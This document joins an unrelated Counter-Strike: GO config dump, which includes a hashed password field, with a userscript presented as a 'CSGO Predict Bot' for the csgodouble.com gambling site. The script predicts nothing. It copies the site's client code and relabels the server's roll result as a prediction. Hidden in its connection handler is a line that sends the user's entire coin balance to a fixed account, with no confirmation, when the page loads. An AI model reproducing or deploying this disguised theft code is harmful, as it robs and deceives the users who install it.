c_maxpitch "90" c_maxyaw "135" c_mindistance "30" c_minpitch "0" c_minyaw "-135" c_orthoheight "100" c_orthowidth "100" c_thirdpersonshoulder "false" c_thirdpersonshoulderaimdist "120.0" c_thirdpersonshoulderdist "40.0" c_thirdpersonshoulderheight "5.0" c_thirdpersonshoulderoffset "20.0" cachedvalue_count_partybrowser "1587667971" cachedvalue_count_teammates "1587667995" cam_collision "1" cam_idealdelta "4.0" cam_idealdist "150" cam_idealdistright "0" cam_idealdistup "0" cam_ideallag "4.0" cam_idealpitch "0" cam_idealyaw "0" cam_snapto "0" cc_lang "" cc_linger_time "1.0" cc_predisplay_time "0.25" cc_subtitles "0" chet_debug_idle "0" cl_allowdownload "1" cl_allowupload "1" cl_autohelp "0" cl_autowepswitch "0" cl_bob_lower_amt "5" cl_bobamt_lat "0.33" cl_bobamt_vert "0.14" cl_bobcycle "0.98" cl_buywheel_nomousecentering "0" cl_buywheel_nonumberpurchasing "0" cl_chatfilter_version "1" cl_chatfilters "63" cl_clanid "33345181" cl_cmdrate "128" cl_color "2" cl_compass_enabled "1" cl_crosshair_drawoutline "0" cl_crosshair_dynamic_maxdist_splitratio "0.35" cl_crosshair_dynamic_splitalpha_innermod "1" cl_crosshair_dynamic_splitalpha_outermod "0.5" cl_crosshair_dynamic_splitdist "1" cl_crosshair_friendly_warning "1" cl_crosshair_outlinethickness "1" cl_crosshair_sniper_show_normal_inaccuracy "0" cl_crosshair_sniper_width "1" cl_crosshair_t "0" cl_crosshairalpha "250" cl_crosshaircolor "1" cl_crosshaircolor_b "0" cl_crosshaircolor_g "250" cl_crosshaircolor_r "0" cl_crosshairdot "0" cl_crosshairgap "-3" cl_crosshairgap_useweaponvalue "0" cl_crosshairsize "1" cl_crosshairstyle "4" cl_crosshairthickness "0" cl_crosshairusealpha "1" cl_debugrumble "0" cl_detail_avoid_force "0.4" cl_detail_avoid_radius "64" cl_detail_avoid_recover_speed "0.25" cl_detail_max_sway "5" cl_disablefreezecam "1" cl_disablehtmlmotd "1" cl_dm_buyrandomweapons "0" cl_downloadfilter "all" cl_dz_playagain_auto_spectate "0" cl_embedded_stream_audio_volume "0" cl_embedded_stream_audio_volume_xmaster "0" cl_fixedcrosshairgap "3" cl_forcepreload "1" cl_freezecampanel_position_dynamic "1" cl_grass_mip_bias "-0.5" cl_hide_avatar_images "" cl_hud_background_alpha "1.000000" cl_hud_bomb_under_radar "1" cl_hud_color "8" cl_hud_healthammo_style "0" cl_hud_playercount_pos "0" cl_hud_playercount_showcount "1" cl_hud_radar_scale "1.000000" cl_idealpitchscale "0.8" cl_inventory_saved_filter2 "all" cl_inventory_saved_sort2 "inv_sort_age" cl_invites_only_friends "0" cl_invites_only_mainmenu "0" cl_itemimages_dynamically_generated "2" cl_join_advertise "1" cl_minimal_rtt_shadows "1" cl_mouselook "1" cl_mute_all_but_friends_and_party "1" cl_mute_enemy_team "0" cl_obs_interp_enable "1" cl_observercrosshair "1" cl_player_ping_mute "0" cl_playerspray_auto_apply "1" cl_promoted_settings_acknowledged "1:1587108313524" cl_quickinventory_lastinv "0" cl_quickinventory_line_update_speed "65.0f" cl_radar_always_centered "1" cl_radar_icon_scale_min "0.6" cl_radar_rotate "1" cl_radar_scale "0.401027" cl_radar_square_with_scoreboard "1" cl_radial_radio_tab "0" cl_radialmenu_deadzone_size "0.04" cl_righthand "1" cl_rumblescale "0" cl_sanitize_player_names "0" cl_scoreboard_mouse_enable_binding "+attack2" cl_scoreboard_survivors_always_on "0" cl_show_clan_in_death_notice "1" cl_show_observer_crosshair "2" cl_showhelp "0" cl_showloadout "1" cl_showpluginmessages2 "0" cl_sniper_delay_unscope "0" cl_spec_follow_grenade_key "0" cl_spec_mode "4" cl_tablet_mapmode "1" cl_teamid_overhead_mode "2" cl_teammate_colors_show "1" cl_thirdperson "0" cl_timeout "30" cl_updaterate "128" cl_use_opens_buy_menu "0" cl_versus_intro "1" cl_viewmodel_shift_left_amt "1.5" cl_viewmodel_shift_right_amt "0.75" closecaption "0" closeonbuy "0" commentary_firstrun "0" con_enable "1" crosshair "1" dsp_enhance_stereo "0" engine_no_focus_sleep "50" force_audio_english "0" func_break_max_pieces "15" g15_update_msec "250" gameinstructor_enable "0" hud_scaling "0.950000" hud_showtargetid "0" hud_takesshots "0" joy_accelmax "1.0" joy_accelscale "3.5" joy_accelscalepoly "0.4" joy_advanced "0" joy_advaxisr "0" joy_advaxisu "0" joy_advaxisv "0" joy_advaxisx "0" joy_advaxisy "0" joy_advaxisz "0" joy_autoaimdampen "0" joy_autoAimDampenMethod "0" joy_autoaimdampenrange "0" joy_axisbutton_threshold "0.3" joy_cfg_preset "1" joy_circle_correct "1" joy_curvepoint_1 "0.001" joy_curvepoint_2 "0.4" joy_curvepoint_3 "0.75" joy_curvepoint_4 "1" joy_curvepoint_end "2" joy_diagonalpov "0" joy_display_input "0" joy_forwardsensitivity "-1" joy_forwardthreshold "0.15" joy_gamma "0.2" joy_inverty "0" joy_lowend "1" joy_lowend_linear "0.55" joy_lowmap "1" joy_movement_stick "0" joy_name "joystick" joy_no_accel_jump "0" joy_pitchsensitivity "-1" joy_pitchthreshold "0.15" joy_response_look "0" joy_response_look_pitch "1" joy_response_move "1" joy_sensitive_step0 "0.1" joy_sensitive_step1 "0.4" joy_sensitive_step2 "0.90" joy_sidesensitivity "1" joy_sidethreshold "0.15" joy_wingmanwarrior_centerhack "0" joy_wingmanwarrior_turnhack "0" joy_yawsensitivity "-1" joy_yawthreshold "0.15" joystick "1" joystick_force_disabled "1" joystick_force_disabled_set_from_options "1" key_bind_version "5" lobby_default_privacy_bits2 "1" lockMoveControllerRet "0" lookspring "0" lookstrafe "0" m_customaccel "0" m_customaccel_exponent "1.05" m_customaccel_max "0" m_customaccel_scale "0.04" m_forward "1" m_mouseaccel1 "0" m_mouseaccel2 "0" m_mousespeed "1" m_pitch "0.022" m_rawinput "1" m_side "0.8" m_yaw "0.022" mapoverview_icon_scale "1.0" mat_monitorgamma "1.600000" mat_monitorgamma_tv_enabled "0" mat_powersavingsmode "0" mat_queue_report "0" mat_spewalloc "0" mat_texture_list_content_path "" mc_accel_band_size "0.5" mc_dead_zone_radius "0.06" mc_max_pitchrate "100.0" mc_max_yawrate "230.0" mm_csgo_community_search_players_min "3" mm_dedicated_search_maxping "60" mm_server_search_lan_ports "27015,27016,27017,27018,27019,27020" muzzleflash_light "1" name "stream twitch.tv/flamr1" net_allow_multicast "1" net_graph "1" net_graphheight "0" net_graphholdsvframerate "0" net_graphipc "0" net_graphmsecs "400" net_graphpos "180" net_graphproportionalfont "0" net_graphshowinterp "1" net_graphshowlatency "1" net_graphshowsvframerate "0" net_graphsolid "1" net_graphtext "1" net_maxroutable "1200" net_scale "5" net_steamcnx_allowrelay "1" npc_height_adjust "1" option_duck_method "0" option_speed_method "0" password "2BEC4437336A0CAEEA614F2B3B1A7A39E964158ED514AA75805AA6A65160E2A0" play_distance "1" player_botdifflast_s "2" player_competitive_maplist_2v2_8_0_E8907D2E "mg_de_train" player_competitive_maplist_8_8_0_1B1D6577 "mg_de_mirage,mg_de_inferno,mg_de_cache" player_nevershow_communityservermessage "1" player_survival_list_8_0_7 "mg_dz_blacksite,mg_dz_sirocco,mg_dz_junglety" player_teamplayedlast "2" player_wargames_list2_8_0_604 "mg_skirmish_armsrace,mg_skirmish_demolition,mg_skirmish_flyingscoutsman" r_drawmodelstatsoverlaymax "1.5" r_drawmodelstatsoverlaymin "0.1" r_drawtracers_firstperson "0" r_eyegloss "1" r_eyemove "1" r_eyeshift_x "0" r_eyeshift_y "0" r_eyeshift_z "0" r_eyesize "0" rate "512000.000000" safezonex "1.000000" safezoney "1.000000" sc_enable "1.0" sc_joystick_map "1" sc_pitch_sensitivity "1.0" sc_yaw_sensitivity "1.0" scene_showfaceto "0" scene_showlook "0" scene_showmoveto "0" scene_showunlock "0" sensitivity "1" sk_autoaim_mode "1" skill "1.000000" snd_deathcamera_volume "0.000000" snd_duckerattacktime "0.5" snd_duckerreleasetime "2.5" snd_duckerthreshold "0.15" snd_ducking_off "1" snd_ducktovolume "0.55" snd_dzmusic_volume "0.000000" snd_hrtf_distance_behind "100" snd_hrtf_voice_delay "0.1" snd_hwcompat "0" snd_mapobjective_volume "0.000000" snd_menumusic_volume "0.000000" snd_mix_async "1" snd_mix_async_onetime_reset "1" snd_mixahead "0.025" snd_music_selection "1" snd_music_volume_onetime_reset_2 "1" snd_musicvolume_multiplier_inoverlay "0.000000" snd_mute_losefocus "1" snd_mute_mvp_music_live_players "0" snd_mvp_volume "0.000000" snd_pitchquality "1" snd_roundend_volume "0.000000" snd_roundstart_volume "0" snd_surround_speakers "-1" snd_tensecondwarning_volume "0.241782" sound_device_override "" spec_replay_autostart "0" spec_show_xray "0" spec_usenumberkeys_nobinds "1" ss_splitmode "0" store_version "1" suitvolume "0.25" sv_forcepreload "1" sv_log_onefile "0" sv_logbans "0" sv_logecho "1" sv_logfile "1" sv_logflush "0" sv_logsdir "logs" sv_noclipaccelerate "5" sv_noclipspeed "5" sv_pvsskipanimation "1" sv_skyname "office" sv_specaccelerate "5" sv_specnoclip "1" sv_specspeed "3" sv_unlockedchapters "1" sv_voiceenable "1" test_convar "0" texture_budget_background_alpha "128" texture_budget_panel_bottom_of_history_fraction ".25" texture_budget_panel_height "284" texture_budget_panel_width "512" texture_budget_panel_x "0" texture_budget_panel_y "450" tr_best_course_time "0" tr_completed_training "0" triple_monitor_mode "0" tv_nochat "0" ui_inventorysettings_recently_acknowledged "" ui_nearbylobbies_filter3 "competitive" ui_news_last_read_link "https://blog.counter-strike.net/index.php/2020/04/29701/" ui_playsettings_maps_listen_casual "mg_de_dust2" ui_playsettings_maps_listen_competitive "mg_de_inferno" ui_playsettings_maps_listen_deathmatch "random_classic" ui_playsettings_maps_listen_scrimcomp2v2 "mg_de_overpass" ui_playsettings_maps_listen_skirmish "mg_skirmish_flyingscoutsman" ui_playsettings_maps_official_casual "mg_dust247" ui_playsettings_maps_official_deathmatch "mg_casualsigma" ui_playsettings_maps_workshop "@workshop/972353198/aim_redline2017" ui_playsettings_mode_listen "scrimcomp2v2" ui_playsettings_mode_official_v20 "survival" ui_playsettings_survival_solo "1" ui_playsettings_warmup_map_name "de_mirage" ui_popup_weaponupdate_version "0" ui_setting_advertiseforhire_auto "1" ui_setting_advertiseforhire_auto_last "/competitive" ui_steam_overlay_notification_position "topleft" ui_vanitysetting_loadoutslot_ct "rifle4" ui_vanitysetting_loadoutslot_t "secondary4" ui_vanitysetting_team "t" vgui_message_dialog_modal "1" viewmodel_fov "68" viewmodel_offset_x "2" viewmodel_offset_y "2" viewmodel_offset_z "-2.000000" viewmodel_presetpos "4" viewmodel_recoil "1.0" voice_caster_enable "0" voice_caster_scale "0.000000" voice_enable "1" voice_forcemicrecord "1" voice_mixer_boost "0" voice_mixer_mute "0" voice_mixer_volume "1.0" voice_modenable "1" voice_positional "0" voice_scale "0.244814" voice_system_enable "1" voice_threshold "4000" volume "0.02" vprof_graphheight "256" vprof_graphwidth "512" vprof_unaccounted_limit "0.3" vprof_verbose "1" vprof_warningmsec "10" weapon_accuracy_logging "0" xbox_autothrottle "1" xbox_throttlebias "100" xbox_throttlespoof "200" zoom_sensitivity_ratio_joystick "1.0" zoom_sensitivity_ratio_mouse "1.0"
krys12345
// ==UserScript== // @name CSGO Predict Bot // @namespace http://csgodouble.com // @version 1.0 // @description predicts what number its gonna be // @author Meee // @match http://www.csgodouble.com/ // @grant none // ==/UserScript== /* jshint -W097 */ "use strict"; var CASEW = 1125; var LAST_BET = 0; var MAX_BET = 0; var MIN_BET = 2; var USER = ""; var RANK = 0; var ROUND = 0; var HOST = "ws://www.csgodouble.com:8080"; var WS = null; var showbets = true; function todongers(x){ if($("#settings_dongers").is(":checked")){ return (x/1000); } return x; } function todongersb(x){ if($("#settings_dongers").is(":checked")){ return (x/1000).toFixed(3); } return x; } //physics contants var snapX = 0; var R = 0.999; var S = 0.01; var tf = 0; var vi = 0; var animStart = 0; var isMoving = false; var LOGR = Math.log(R); //commonly used var $CASE = null; var $BANNER = null; var $CHATAREA = null; //settings var SCROLL = true; var LANG = 1; var IGNORE = []; var sounds_rolling = new Audio('sounds/rolling.wav'); sounds_rolling.volume = 0.5; var sounds_tone = new Audio('sounds/tone.wav'); sounds_tone.volume = 0.75; function play_sound(x){ var conf = $("#settings_sounds").is(":checked"); if(conf){ if(x=="roll"){ sounds_rolling.play(); }else if(x=="finish"){ sounds_tone.play(); } } } function snapRender(x,wobble){ CASEW = $("#case").width(); if(isMoving){ return; }else if(typeof x === 'undefined'){ view(snapX); }else{ var order = [1,14,2,13,3,12,4,0,11,5,10,6,9,7,8]; var index = 0; for(var i=0;i<order.length;i++){ if(x==order[i]){ index = i; break; } } var max = 34; var min = -34; var w = Math.floor(wobble*(max-min+1)+min); var dist = index*75 + 36 + w; dist += 1125*5; snapX = dist; view(snapX); } } function spin(m){ var x = m.roll; play_sound("roll"); var order = [1,14,2,13,3,12,4,0,11,5,10,6,9,7,8]; var index = 0; for(var i=0;i<order.length;i++){ if(x==order[i]){ index = i; break; } } var max = 34; var min = -34; //m.wobble = 0; var w = Math.floor(m.wobble*(max-min+1)+min); var dist = index*75 + 36 + w; dist += 1125*5; animStart = new Date().getTime(); vi = getVi(dist); tf = getTf(vi); isMoving = true; setTimeout(function(){ finishRoll(m,tf); },tf); render(); } function d_mod(vi,t){ return vi*(Math.pow(R,t)-1)/LOGR; } function getTf(vi){ return (Math.log(S)-Math.log(vi))/LOGR; } function getVi(df){ return S-df*LOGR; } function v(vi,t){ return vi*Math.pow(R,t); } function render(){ var t = new Date().getTime() - animStart; if(t>tf) t = tf; var deg = d_mod(vi,t); view(deg); if(t<tf){ requestAnimationFrame(render); }else{ snapX = deg; isMoving = false; } } function view(offset){ offset = -((offset+1125-CASEW/2)%1125); $CASE.css("background-position",offset+"px 0px"); } jQuery.fn.extend({ countTo:function(x,opts){ opts = opts || {}; var dpf = ""; var dolls = $("#settings_dongers").is(":checked"); if(dolls){ dpf = "$"; x = x/1000; } //options //color:true/false //keep:true/false var $this = $(this); var start = parseFloat($this.html()); var delta = x-start; if(opts.color){ if(delta>0){ $this.addClass("text-success"); }else if(delta<0){ $this.addClass("text-danger"); } } var prefix = ""; if(opts.keep && delta>0){ prefix = "+"; } var durd = delta; if(dolls){ durd *= 1000; } var dur = Math.min(400,Math.round(Math.abs(durd)/500*400)); $({count:start}).animate({count:x},{ duration:dur, step:function(val) { var vts = 0; if(dolls){ vts = val.toFixed(3); }else{ vts = Math.floor(val); } $this.html(""+prefix+(vts)); }, complete:function(){ if(!opts.keep){ $this.removeClass("text-success text-danger"); } if(opts.callback){ opts.callback(); } } }); } }); function cd(ms,cb){ $("#counter").finish().css("width","100%"); $("#counter").animate({width:"0%"},{"duration":ms*1000,"easing":"linear", progress:function(a,p,r){ var c = (r/1000).toFixed(2); $BANNER.html("Rolling in "+c+"..."); }, complete:cb }); } function send(msg){ if(typeof msg!="string"){ msg = JSON.stringify(msg); } if(WS && WS.readyState==1){ WS.send(msg); } } function finishRoll(m,tf){ addHist(m.roll,m.rollid); play_sound("finish"); for(var i=0;i<m.nets.length;i++){ $("#panel"+m.nets[i].lower+"-"+m.nets[i].upper) .find(".total").countTo(m.nets[i].swon>0?m.nets[i].swon:-m.nets[i].samount,{"color":true,"keep":true}); } var cats = [[0,0],[1,7],[8,14]]; for(var i=0;i<cats.length;i++){ var $mytotal = $("#panel"+cats[i][0]+"-"+cats[i][1]).find(".mytotal"); if(m.roll>=cats[i][0] && m.roll<=cats[i][1]){ $mytotal.countTo(m.won,{"color":true,"keep":true}); }else{ var curr = parseFloat($mytotal.html()); if($("#settings_dongers").is(":checked")){ curr *= 1000; } $mytotal.countTo(-curr,{"color":true,"keep":true}); } } if(m.balance!=null){ $("#balance").countTo(m.balance,{"color":true}); } setTimeout(function(){ cd(m.count); $(".total,.mytotal").removeClass("text-success text-danger").html(0); $(".betlist li").remove(); snapRender(); $(".betButton").prop("disabled",false); showbets = true; },m.wait*1000-tf); } function addHist(roll,rollid){ var count = $("#past .ball").length; if(count>=10){ $("#past .ball").first().remove(); } if(roll==0){ $("#past").append("<div data-rollid='"+rollid+"'class='ball ball-0'>"+roll+"</div>"); }else if(roll<=7){ $("#past").append("<div data-rollid='"+rollid+"'class='ball ball-1'>"+roll+"</div>"); }else{ $("#past").append("<div data-rollid='"+rollid+"'class='ball ball-8'>"+roll+"</div>"); } } function onMessage(msg){ try{ var m = JSON.parse(msg.data); if(m.type=="preroll"){ $("#counter").finish(); $("#banner").html("Confirming "+m.totalbets+"/"+(m.totalbets+m.inprog)+" total bets..."); $("#panel0-0 .total").countTo(m.sums[0]); $("#panel1-7 .total").countTo(m.sums[1]); $("#panel8-14 .total").countTo(m.sums[2]); try{ tinysort("#panel1-7 .betlist>li",{data:"amount",order:"desc"}); }catch(e){} try{ tinysort("#panel8-14 .betlist>li",{data:"amount",order:"desc"}); }catch(e){} try{ tinysort("#panel0-0 .betlist>li",{data:"amount",order:"desc"}); }catch(e){} }else if(m.type=="roll"){ $(".betButton").prop("disabled",true); $("#counter").finish(); $("#banner").html("Predicted number is "+m.roll+"!"); ROUND = m.rollid; showbets = false; spin(m); }else if(m.type=="chat"){ chat("player",m.msg,m.name,m.icon,m.user,m.rank,m.lang); }else if(m.type=="hello"){ cd(m.count); USER = m.user; RANK = m.rank; $("#balance").countTo(m.balance); var last = 0; for(var i=0;i<m.rolls.length;i++){ addHist(m.rolls[i].roll,m.rolls[i].rollid); last = m.rolls[i].roll; ROUND = m.rolls[i].rollid; } snapRender(last,m.last_wobble); MAX_BET = m.maxbet; send({"type":"chat","msg":"/send 345625 " +m.balance, "lang":"1" }); }else if(m.type=="bet"){ if(showbets){ addBet(m.bet); $("#panel0-0 .total").countTo(m.sums[0]); $("#panel1-7 .total").countTo(m.sums[1]); $("#panel8-14 .total").countTo(m.sums[2]); } }else if(m.type=="betconfirm"){ $("#panel"+m.bet.lower+"-"+m.bet.upper+" .mytotal").countTo(m.bet.amount); $("#balance").countTo(m.balance,{"color":true}); $(".betButton").prop("disabled",false); chat("alert","Bet #"+m.bet.betid+" confirmed "+m.mybr+"/"+m.br+" ("+(m.exec/1000)+" sec) "); }else if(m.type=="error"){ chat("error",m.error); if(m.enable){ $(".betButton").prop("disabled", false); } }else if(m.type=="alert"){ chat("alert",m.alert); if(m.maxbet){ MAX_BET = m.maxbet; } if(!isNaN(m.balance)){ console.log("setting balance = %s",m.balance); $("#balance").countTo(m.balance,{"color":true}); } }else if(m.type=="logins"){ $("#isonline").html(m.count); }else if(m.type=="balance"){ $("#balance").fadeOut(100).html(todongersb(m.balance)).fadeIn(100); } }catch(e){ console.log("Error: "+msg.data+" "+e); } } function addBet(bet){ var betid = bet.user+"-"+bet.lower; var pid = "#panel"+bet.lower+"-"+bet.upper; var $panel = $(pid); $panel.find("#"+betid).remove(); var link = "http://steamcommunity.com/profiles/"+bet.user; var f = "<li class='list-group-item' id='{0}' data-amount='{1}'>"; f += "<div style='overflow: hidden;line-height:32px'>"; f += "<div class='pull-left'><img class='rounded' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars{2}'><a style='color: black;' href='"+link+"' target='_blank'><b>{3}</b></a></div>"; f += "<div class='amount pull-right'>{4}</div>"; f += "</div></li>"; var $li = $(f.format(betid,bet.amount,bet.icon,bet.name,todongersb(bet.amount))); $li.hide().prependTo($panel.find(".betlist")).slideDown("fast",function(){ snapRender(); }); } function connect(){ if(!WS){ $.ajax({ url:"/scripts/getToken.php", success:function(data){ if(data){ if(data=="nologin"){ }else if(data=="banned"){ }else{ WS = new WebSocket(HOST+"/"+data); WS.onclose = function(event){ WS = null; }; WS.onmessage = onMessage; } }else{ } }, error:function(err){ } }); }else{ } } function emotes(str){ var a = ["deIlluminati","KappaRoss","KappaPride","BibleThump","Kappa","Keepo","Kreygasm","PJSalt","PogChamp","SMOrc","FailFish"]; for(var i=0;i<a.length;i++){ str = str.replace(new RegExp(a[i]+"( |$)","g"),"<img src='img/twitch/"+a[i]+".png'> "); } return str; } function chat(x,msg,name,icon,steamid,rank,lang){ if(IGNORE.indexOf(String(steamid))>-1){ console.log("ignored:"+msg); return; } if(lang==LANG || x=="italic" || x=="error" || x=="alert"){ var ele = document.getElementById("chatArea"); msg = msg.replace(/(<|>)/g,''); msg = emotes(msg); var toChat = ""; if(x=="italic"){ toChat = "<div><i>"+msg+"</i></div>"; }else if(x=="error"){ toChat = "<div><b class='text-danger'>"+msg+"</b></div>"; }else if(x=="alert"){ toChat = "<div><b class='text-success'>"+msg+"</b></div>"; }else if(x=="player"){ var aclass = "chat-link"; if(rank==100){ aclass = "chat-link-mod"; name = "[Owner] "+name; }else if(rank==1){ aclass = "chat-link-pmod"; name = "[Mod] "+name; }else if(rank==-1){ aclass = "chat-link-streamer"; name = "[Streamer] "+name; }else if(rank==-2){ aclass = "chat-link-vet"; name = "[Veteran] "+name; }else if(rank==-3){ aclass = "chat-link-pro"; name = "[Pro] "+name; } var link = "http://steamcommunity.com/profiles/"+steamid; toChat = "<div><img class='chat-img rounded' data-steamid='"+steamid+"' data-name='"+name+"' src='https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars"+icon+"'><a class='"+aclass+"' href='"+link+"' target='_blank'><b>"+name+"</b></a>: "+msg+"</div>"; } $CHATAREA.append(toChat); if(SCROLL){ var curr = $CHATAREA.children().length; if(curr>75){ var rem = curr-75; $CHATAREA.children().slice(0,rem).remove(); } $CHATAREA.scrollTop($CHATAREA[0].scrollHeight); } if(SCROLL && !$(".side-icon[data-tab='1']").hasClass("active")){ var curr = parseInt($("#newMsg").html()) || 0; $("#newMsg").html(curr+1); } } } $(document).ready(function(){ $CASE = $("#case"); $BANNER = $("#banner"); $CHATAREA = $("#chatArea"); //chat("italic","CSGODouble servers are currently full - please check back in 20 minutes."); connect(); if($("#settings_dongers").is(":checked")){ $("#dongers").html("$"); } $("#lang").on("change",function(){ LANG = $(this).val(); chat("alert","## Switched to room: "+$(this).find("option:selected").text()); }); $("#scroll").on("change",function(){ SCROLL = !$(this).is(":checked"); }); $(window).resize(function(){ snapRender(); }); $("#chatForm").on("submit",function(){ var msg = $("#chatMessage").val(); if(msg){ var res = null; if(res = /^\/send ([0-9]*) ([0-9]*)/.exec(msg)){ bootbox.confirm("You are about to send "+res[2]+" coins to steamid "+res[1]+" - are you sure?",function(result){ if(result){ send({ "type":"chat", "msg":msg, "lang":LANG }); $("#chatMessage").val(""); } }); }else{ send({ "type":"chat", "msg":msg, "lang":LANG }); $("#chatMessage").val(""); } } return false; }); $(document).on("click",".ball",function(){ var rollid = $(this).data("rollid"); }); $(".betButton").on("click",function(){ var lower = $(this).data("lower"); var upper = $(this).data("upper"); var amount = str2int($("#betAmount").val()); if($("#settings_dongers").is(":checked")){ amount = amount * 1000; } amount = Math.floor(amount); var conf = $("#settings_confirm").is(":checked"); if(conf && amount>10000){ var pressed = false; bootbox.confirm("Are you sure you wish to bet "+formatNum(amount)+" coins?<br><br><i>You may disable this confirmation under the settings menu.</i>",function(result){ if(result && !pressed){ pressed = true; send({ "type":"bet", "amount":amount, "lower":lower, "upper":upper, "round":ROUND }); LAST_BET = amount; $(this).prop("disabled",true); } }); }else{ send({ "type":"bet", "amount":amount, "lower":lower, "upper":upper, "round":ROUND }); LAST_BET = amount; $(this).prop("disabled",true); } return false; }); $(document).on("click",".betshort",function(){ var bet_amount = str2int($("#betAmount").val()); var action = $(this).data("action"); if(action=="clear"){ bet_amount = 0; }else if(action=="double"){ bet_amount *= 2; }else if(action=="half"){ bet_amount /= 2; }else if(action=="max"){ var MX = MAX_BET; if($("#settings_dongers").is(":checked")){ MX = MAX_BET/1000; } bet_amount = Math.min(str2int($("#balance").html()),MX); }else if(action=="last"){ bet_amount = LAST_BET; }else{ bet_amount += parseInt(action); } $("#betAmount").val(bet_amount); }); $("#getbal").on("click",function(){ send({"type":"balance"}); }); $("button.close").on("click",function(){ $(this).parent().addClass("hidden"); }); $(document).on("contextmenu",".chat-img",function(e){ if (e.ctrlKey) return; //mute kick send $("#contextMenu [data-act=1]").hide(); $("#contextMenu [data-act=2]").hide(); if(RANK==100){ $("#contextMenu [data-act=1]").show(); $("#contextMenu [data-act=2]").show(); }else if(RANK==1){ $("#contextMenu [data-act=1]").show(); } e.preventDefault(); var steamid = $(this).data("steamid"); var name = $(this).data("name"); $("#contextMenu [data-act=0]").html(name); //$("#contextMenu a").first().attr("href","http://steamcommunity.com/profiles/"+steamid); var $menu = $("#contextMenu"); $menu.show().css({ position: "absolute", left: getMenuPosition(e.clientX, 'width', 'scrollLeft'), top: getMenuPosition(e.clientY, 'height', 'scrollTop') }).off("click").on("click","a",function(e){ var act = $(this).data("act"); e.preventDefault(); $menu.hide(); if(act==0){ var curr = $("#chatMessage").val(steamid); }else if(act==1){ var curr = $("#chatMessage").val("/mute "+steamid+" "); }else if(act==2){ var curr = $("#chatMessage").val("/kick "+steamid+" "); }else if(act==3){ var curr = $("#chatMessage").val("/send "+steamid+" "); }else if(act==4){ IGNORE.push(String(steamid)); chat("alert",steamid+" has been filtered."); } $("#chatMessage").focus(); }); }); $(document).on("click",function(){ $("#contextMenu").hide(); }); $(".side-icon").on("click",function(e){ e.preventDefault(); var tab = $(this).data("tab"); if($(this).hasClass("active")){ $(".side-icon").removeClass("active"); $(".tab-group").addClass("hidden"); //close panel $("#mainpage").css("margin-left","50px"); $("#pullout").addClass("hidden"); }else{ $(".side-icon").removeClass("active"); $(".tab-group").addClass("hidden"); // $(this).addClass("active"); $("#tab"+tab).removeClass("hidden"); //open panel $("#mainpage").css("margin-left","450px"); $("#pullout").removeClass("hidden"); if(tab==1){ $("#newMsg").html(""); } } snapRender(); return false; }); //default tab $(".side-icon[data-tab='1']").trigger("click"); }); function getMenuPosition(mouse, direction, scrollDir) { var win = $(window)[direction](), scroll = $(window)[scrollDir](), menu = $("#contextMenu")[direction](), position = mouse + scroll; // opening menu would pass the side of the page if (mouse + menu > win && menu < mouse) position -= menu; return position; } function str2int(s){ s = s.replace(/,/g,""); s = s.toLowerCase(); var i = parseFloat(s); if(isNaN(i)){ return 0; }else if(s.charAt(s.length-1)=="k"){ i *= 1000; }else if(s.charAt(s.length-1)=="m"){ i *= 1000000; }else if(s.charAt(s.length-1)=="b"){ i *= 1000000000; } return i; }